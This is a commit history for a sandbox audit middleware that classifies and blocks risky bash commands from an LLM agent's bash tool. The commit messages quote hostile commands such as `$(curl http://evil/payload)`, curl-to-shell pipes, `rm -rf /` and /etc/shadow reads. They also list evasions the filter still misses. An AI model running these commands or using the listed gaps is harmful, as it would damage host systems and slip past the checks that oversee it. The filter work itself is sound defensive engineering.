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5 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
Nan Gao
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b295736e53
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fix(sandbox): judge command substitution by position in audit middleware (#4623)
* fix(sandbox): judge command substitution by position in audit middleware
SandboxAuditMiddleware refused any `$(...)` containing a risky executable,
so ordinary output capture such as
`code=$(curl -s -o /dev/null -w '%{http_code}' https://example.com)` was
blocked before the bash tool ever ran. The rule matched the `$(cmd` token
regardless of syntactic position, and because the opening paren was optional
and unbounded it also caught plain variable expansions (`$shell`, `$bashrc`,
`$python_version`) and lookalike binaries (`shellcheck`, `shasum`).
Command position is what makes a substitution dangerous: `$(curl url)` as the
command executes what was downloaded, while `x=$(curl url)` or
`echo $(curl url)` only captures its output. Replace the unanchored rule with
`_HIGH_RISK_COMMAND_POSITION_PATTERNS`, matched anchored against each split
sub-command, and add `split_pipes=True` to `_split_compound_command` so the
word after a pipe is recognised as a new command position. `_split_compound_command`
keeps its previous behaviour by default, since a pipeline is one logical command
and the pipe-spanning rules (`| sh`, `base64 -d | ...`) are matched by the
whole-command scan in `_classify_command`.
Add an explicit `eval`/`source` rule so narrowing the substitution rule does not
release forms the broad pattern had covered incidentally (`eval $(curl url)`,
`source <(curl url)`). It reuses the same executable list, so common shapes like
`eval "$(ssh-agent)"` stay allowed.
Two-step forms (`x=$(curl u); eval "$x"`), process substitution outside
eval/source, and newline-separated statements remain undetected; closing them
needs real shell parsing, which is out of scope for an audit layer whose actual
isolation boundary is the sandbox.
Fixes #4611
* fix(sandbox): keep assignment/wrapper prefixes in command position
Anchoring the command-substitution rule at the start of a sub-command missed
that a command position is not always the first character. POSIX shell allows
leading variable assignments, and exec wrappers keep what follows in command
position, so `FOO=1 $(curl url)`, `env FOO=1 $(curl url)`, `nohup $(curl url)`
and `time $(curl url)` all execute the fetched output while reading as value
position to an anchored pattern. The previous unanchored rule caught these
incidentally, so leaving them out was a regression rather than a documented gap.
`_COMMAND_POSITION_PREFIX` extends the anchor over those prefixes. Its
assignment branch requires whitespace between the assignment and the
substitution, which is what still separates `FOO=1 $(curl url)` (command) from
`x=$(curl url)` (value); an argument-position substitution behind the same
prefix, such as `env FOO=1 ./run.sh --tag $(curl url)`, keeps passing. The
repetition is bounded so the alternation cannot backtrack on long input.
Also correct the documented gap list: two-step forms
(`x=$(curl u); eval "$x"`) are inherent to allowing output capture rather than
an oversight, since any rule that permits the capture permits the first
statement and linking it to the later eval needs dataflow analysis.
* fix(sandbox): treat interpreter code-string flags as execution context
Narrowing the substitution rule to command position released the forms where
the substitution is an *argument* to something that executes it. Verified
against both classifiers, block on main -> pass on this branch:
bash|sh|dash|ksh|zsh -c "$(curl u)" python|perl|ruby|node|php -c/-e/-p/-r
bash <<< "$(curl u)" xargs sh -c "$(curl u)"
Same class as the eval/source case the PR kept, spelled with a flag. Add two
whole-command rules covering the code-string flags and the here-string. They
are position-blind on purpose: 'bash -c' executes what it receives wherever it
appears, including as an argument to another command.
Also fixes the eval/source rule itself. It required '\(' after [`$<], so the
backtick spelling regressed with the rest: 'eval `curl u`' and
'source `curl u`' blocked on main and passed here, despite the PR claiming
eval/source coverage was preserved. All three spellings ($( , <( , backtick)
now share one _RISKY_SUBSTITUTION opener so a rule cannot cover one and miss
another.
Reported by @rjvkn on #4623; the backtick half was found while confirming it.
'bash <(curl u)' stays passing -- it was already passing on main and remains a
documented gap, not a regression.
* fix(sandbox): split on newlines, and keep heredoc bodies out of it
An unquoted newline separates statements exactly like ';', but the splitter
never split on it and normalization collapsed it to a space before the
'^'-anchored rules ran, so identical shell semantics got opposite verdicts:
echo hi; $(curl u) -> block
echo hi<newline>$(curl u) -> pass
Block on main, pass here -- so the PR description's 'newline-separated
statements ... were not detected before this change' was wrong. It holds for
'. <(curl u)' process substitution, which passed on main too; it does not hold
for this. Third instance of one root cause: replacing an unanchored .search
with anchored per-sub-command matching releases every context the splitter does
not model (argument position, backtick spelling, statement separator).
Splitting on newlines alone would then manufacture command positions the shell
never creates -- a heredoc body line beginning with $(curl url) is file
content, not a command. So headers are recorded as they are read and their
bodies consumed verbatim at the newline that opens them. '<<<' is a here-string
and opens nothing; both a lookahead and a lookbehind are needed, or the
trailing '<<' of '<<< "text"' reads as a heredoc with delimiter 'text'.
The header regex is tried only at '<', which keeps this off every other
character: without the guard a 10KB command went 313ms -> 505ms. A realistic
20KB heredoc file write classifies in ~13ms.
Reported by @willem-bd on #4623.
* fix(sandbox): do not read an arithmetic shift as a heredoc header
The heredoc heuristic fired on any unquoted '<<', so a bit shift whose right
operand is an identifier opened a phantom heredoc:
offset=$(( idx << shift ))
$(curl http://evil/payload)
Delimiter 'shift' never appears, so the unterminated body consumed the rest of
the string, the second line was never split into its own sub-command, and the
anchored rule never saw it -- reopening the newline evasion the previous commit
closed, and a regression against main.
Track arithmetic depth alongside the quote flags and skip header detection
while it is positive. Covers the bare arithmetic command '(( ... ))' too, not
just '$(( ... ))': it evades identically and a $-only guard would miss it. A
digit right operand ('$((1<<8))') never had the problem, since a delimiter
cannot start with one; both spellings are pinned so they cannot drift.
An unclosed '((' leaves the depth positive, which only disables heredoc
detection -- newlines keep splitting, so the failure direction stays towards
seeing more command positions rather than fewer.
Reported by @willem-bd on #4623.
|
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Huixin615
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b0ce4b513c
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fix: allow valid heredoc commands in sandbox audit (#3786)
* fix: allow valid heredoc sandbox audit commands * test: cover unparseable heredoc sandbox audit path |
||
|
KKK
|
3b3e8e1b0b
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feat(sandbox): strengthen bash command auditing with compound splitting and expanded patterns (#1881)
* fix(sandbox): strengthen regex coverage in SandboxAuditMiddleware
Expand high-risk patterns from 6 to 13 and medium-risk from 4 to 6,
closing several bypass vectors identified by cross-referencing Claude
Code's BashSecurity validator chain against DeerFlow's threat model.
High-risk additions:
- Generalised pipe-to-sh (replaces narrow curl|sh rule)
- Targeted command substitution ($() / backtick with dangerous executables)
- base64 decode piped to execution
- Overwrite system binaries (/usr/bin/, /bin/, /sbin/)
- Overwrite shell startup files (~/.bashrc, ~/.profile, etc.)
- /proc/*/environ leakage
- LD_PRELOAD / LD_LIBRARY_PATH hijack
- /dev/tcp/ bash built-in networking
Medium-risk additions:
- sudo/su (no-op under Docker root, warn only)
- PATH= modification (long attack chain, warn only)
Design decisions:
- Command substitution uses targeted matching (curl/wget/bash/sh/python/
ruby/perl/base64) rather than blanket block to avoid false positives
on safe usage like $(date) or `whoami`.
- Skipped encoding/obfuscation checks (hex, octal, Unicode homoglyphs)
as ROI is low in Docker sandbox — LLMs don't generate encoded commands
and container isolation bounds the blast radius.
- Merged pip/pip3 into single pip3? pattern.
* feat(sandbox): compound command splitting and fork bomb detection
Split compound bash commands (&&, ||, ;) into sub-commands and classify
each independently — prevents dangerous commands hidden after safe
prefixes (e.g. "cd /workspace && rm -rf /") from bypassing detection.
- Add _split_compound_command() with shlex quote-aware splitting
- Add fork bomb detection patterns (classic and while-loop variants)
- Most severe verdict wins; block short-circuits
- 15 new tests covering compound commands, splitting, and fork bombs
* test(sandbox): add async tests for fork bomb and compound commands
Cover awrap_tool_call path for fork bomb detection (3 variants) and
compound command splitting (block/warn/pass scenarios).
* fix(sandbox): address Copilot review — no-whitespace operators, >>/etc/, whole-command scan
- _split_compound_command: replace shlex-based implementation with a
character-by-character quote/escape-aware scanner. shlex.split only
separates '&&' / '||' / ';' when they are surrounded by whitespace,
so payloads like 'rm -rf /&&echo ok' or 'safe;rm -rf /' bypassed the
previous splitter and therefore the per-sub-command classifier.
- _HIGH_RISK_PATTERNS: change r'>\s*/etc/' to r'>+\s*/etc/' so append
redirection ('>>/etc/hosts') is also blocked.
- _classify_command: run a whole-command high-risk scan *before*
splitting. Structural attacks like 'while true; do bash & done'
span multiple shell statements — splitting on ';' destroys the
pattern context, so the raw command must be scanned first.
- tests: add no-whitespace operator cases to TestSplitCompoundCommand
and test_compound_command_classification to lock in the bypass fix.
|
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KKK
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055e4df049
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fix(sandbox): add input sanitisation guard to SandboxAuditMiddleware (#1872)
* fix(sandbox): add L2 input sanitisation to SandboxAuditMiddleware Add _validate_input() to reject malformed bash commands before regex classification: empty commands, oversized commands (>10 000 chars), and null bytes that could cause detection/execution layer inconsistency. * fix(sandbox): address Copilot review — type guard, log truncation, reject reason - Coerce None/non-string command to str before validation - Truncate oversized commands in audit logs to prevent log amplification - Propagate reject_reason through _pre_process() to block message - Remove L2 label from comments and test class names * fix(sandbox): isinstance type guard + async input sanitisation tests Address review comments: - Replace str() coercion with isinstance(raw_command, str) guard so non-string truthy values (0, [], False) fall back to empty string instead of passing validation as "0"/"[]"/"False". - Add TestInputSanitisationBlocksInAwrapToolCall with 4 async tests covering empty, null-byte, oversized, and None command via awrap_tool_call path. |
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SHIYAO ZHANG
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9aa3ff7c48
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feat(sandbox): add SandboxAuditMiddleware for bash command security auditing (#1532)
* feat(sandbox): add SandboxAuditMiddleware for bash command security auditing Addresses the LocalSandbox escape vector reported in #1224 where bash tool calls can execute destructive commands against the host filesystem. - Add SandboxAuditMiddleware with three-tier command classification: - High-risk (block): rm -rf /, curl|bash, dd if=, mkfs, /etc/shadow access - Medium-risk (warn): pip install, apt install, chmod 777 - Safe (pass): normal workspace operations - Register middleware after GuardrailMiddleware in _build_runtime_middlewares, applied to both lead agent and subagents - Structured audit log via standard logger (visible in langgraph.log) - Medium-risk commands execute but append a warning to the tool result, allowing the LLM to self-correct without blocking legitimate workflows - High-risk commands return an error ToolMessage without calling the handler, so the agent loop continues gracefully * fix(lint): sort imports in test_sandbox_audit_middleware * refactor(sandbox-audit): address Copilot review feedback (3/5/6) - Fix class docstring to match implementation: medium-risk commands are executed with a warning appended (not rejected), and cwd anchoring note removed (handled in a separate PR) - Remove capsys.disabled() from benchmark test to avoid CI log noise; keep assertions for recall/precision targets - Remove misleading 'cwd fix' from test module docstring * test(sandbox-audit): add async tests for awrap_tool_call * fix(sandbox-audit): address Copilot review feedback (1/2) - Narrow rm high-risk regex to only block truly destructive targets (/, /*, ~, ~/*, /home, /root); legitimate workspace paths like /mnt/user-data/ are no longer false-positived - Handle list-typed ToolMessage content in _append_warn_to_result; append a text block instead of str()-ing the list to avoid breaking structured content normalization * style: apply ruff format to sandbox_audit_middleware files * fix(sandbox-audit): update benchmark comment to match assert-based implementation --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com> |